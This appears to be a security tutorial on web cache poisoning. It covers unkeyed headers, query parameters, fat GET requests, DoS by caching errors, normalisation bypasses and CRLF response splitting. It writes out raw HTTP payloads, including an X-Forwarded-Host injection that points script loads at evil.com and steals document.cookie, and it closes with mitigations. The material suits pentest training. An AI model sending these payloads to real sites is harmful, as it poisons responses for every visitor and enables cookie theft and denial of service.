> Web Cache Poisoning: Turning a Feature Into a Weapon_
Web caches exist to make sites faster. They sit between users and servers — when the first user requests /home, the cache stores the response; the next thousand users get it instantly without touching the origin server.
The problem: caches are keyed on a subset of request attributes (usually URL + Host). But responses can be influenced by other parts of the request — headers, query parameters, cookies — that the cache ignores. If you can get a cache to store a response that was shaped by your malicious input, and serve it to other users, you've poisoned the cache.
The impact ranges from stored XSS affecting every visitor to complete denial of service at scale.
## How cache keying works
A cache key is the set of request properties used to identify a unique cache entry. By default, most caches key on:
Method + Host + Path + Query string
The rest of the request — Accept-Language, X-Forwarded-Host, X-Forwarded-For, custom headers — are unkeyed inputs. The cache ignores them when deciding what to serve, but the origin server may use them to construct the response.
This gap is the attack surface.
## Finding unkeyed inputs
Use Burp's Param Miner extension or manual testing. The goal is to identify headers the server reflects into the response without the cache keying on them.
Manual method:
GET /en/home HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.comIf the response contains evil.com in a script src, canonical tag, or redirect URL — you have a reflected unkeyed header. Now you need to confirm the cache stores it.
Cache detection:
Look for cache-related headers:
- >
X-Cache: HIT/X-Cache: MISS— most obvious indicator - >
CF-Cache-Status: HIT— Cloudflare - >
Age: <seconds>— how long the cached response has been stored - >
Via: 1.1 varnish— Varnish cache in the chain
Send the same request twice. If the second response has X-Cache: HIT with the same body including your injected value, the poisoned response is now cached for all users.
## Attack 1: Reflected XSS via unkeyed header
Scenario: The server reflects X-Forwarded-Host into a script tag for CDN asset loading:
<script src="https://cdn.target.com/app.js"></script>becomes (when you inject):
<script src="https://evil.com/app.js"></script>Attack:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com"><script>alert(document.cookie)</script>If the response is cached — every user who loads the homepage executes your JavaScript. This is stored XSS at CDN scale, affecting all users without needing to trick them into visiting a special URL.
## Attack 2: Unkeyed query parameters
Some caches strip certain query parameters before keying. Parameters like utm_source, fbclid, _ are often excluded from cache keys to avoid cache busting from marketing tags.
Test: Add a random unkeyed param and inject a reflected XSS payload:
GET /en/home?utm_source="><script>alert(1)</script>&x=1 HTTP/1.1
Host: target.com
If utm_source is reflected in the response (used in a meta tag, tracking call, etc.) but excluded from the cache key, the poisoned response gets served to users requesting /en/home.
Identifying unkeyed params: Param Miner will fuzz this automatically. You can also manually test by adding a cache buster (?cb=1234) to prevent poisoning while testing, then remove it for the final exploit.
## Attack 3: Fat GET requests
Some caches only key on the URL, not the request body. Some servers accept request bodies on GET requests. If a server processes a GET body and the cache ignores it:
GET /search?q=hello HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
q="><script>alert(1)</script>If the server uses the body q parameter over the URL one, and the cache keys on the URL only — the poisoned response is stored for all users searching ?q=hello.
## Attack 4: Cache poisoning for DoS
You don't need XSS for a web cache poisoning impact. Force the cache to store a 500 Internal Server Error response.
Method 1: Inject a header that causes a server error:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: a.b.c.d.e.f.g
X-HTTP-Method-Override: INVALID_METHODIf the server errors on the invalid method and the cache stores the 500, every user hits a 500 until the TTL expires.
Method 2: Content-length mismatch causing request smuggling → cache poisoning. This is more complex but has been used to poison responses with error pages or entirely different users' responses.
## Attack 5: Normalisation differences
Caches and origin servers often disagree on URL normalisation:
- >Cache treats
/api/v1/usersand/api/v1/users/as different keys - >Origin treats them as the same endpoint
Or more subtle:
- >Cache decodes
%2fin paths, origin doesn't - >Cache collapses
//double//slash, origin preserves it
GET //private/../public HTTP/1.1
If the cache serves /public content for //private/../public because it normalises the path but the origin doesn't — you've bypassed access controls via the cache layer.
## HTTP response splitting (classic)
If user input ends up in a response header without sanitisation, inject newlines to split the response:
GET /redirect?url=https://target.com%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>
Modern frameworks mostly prevent this, but older apps and custom proxies are still vulnerable.
## Detection and testing methodology
- >
Map the caching layer — what CDN/cache is in use? Check response headers for
Via,CF-Ray,X-Cache,X-Varnish. - >
Identify cacheable endpoints — static pages, product pages, anything with
Cache-Control: publicor longmax-age. - >
Fuzz unkeyed inputs — Param Miner + manual header injection.
- >
Confirm caching — always send request twice and check for HIT.
- >
Add cache busters while testing — use a unique query param to avoid poisoning real users during recon:
terminalGET /?cb=randomstring123 - >
Document TTL — how long does the poison last?
Age: 0in a HIT means it just got cached.
## Mitigation
For developers:
- >Never reflect request headers into responses unless they're in the cache key
- >Use
Varyheader to include relevant headers in the cache key:Vary: X-Forwarded-Host - >Sanitise all reflected input regardless of context
- >Audit third-party CDN/cache configuration
For security teams:
- >Include unkeyed header testing in web app pentest methodology
- >Check for
X-Forwarded-Host,X-Forwarded-For,X-Original-URL,X-Rewrite-URLreflection - >Test cache behaviour explicitly — don't assume headers aren't cached
Cache configuration:
# Nginx: explicitly key on relevant headers
proxy_cache_key "$scheme$request_method$host$request_uri$http_accept_language";Web cache poisoning is elegant as an attack class because it turns a performance optimisation into a force multiplier — one request poisons responses for all future users until TTL expires. The root cause is almost always a mismatch between what the cache considers unique and what the origin server considers unique.
PortSwigger's Web Security Academy has excellent labs for practicing this — I'd recommend working through all of them.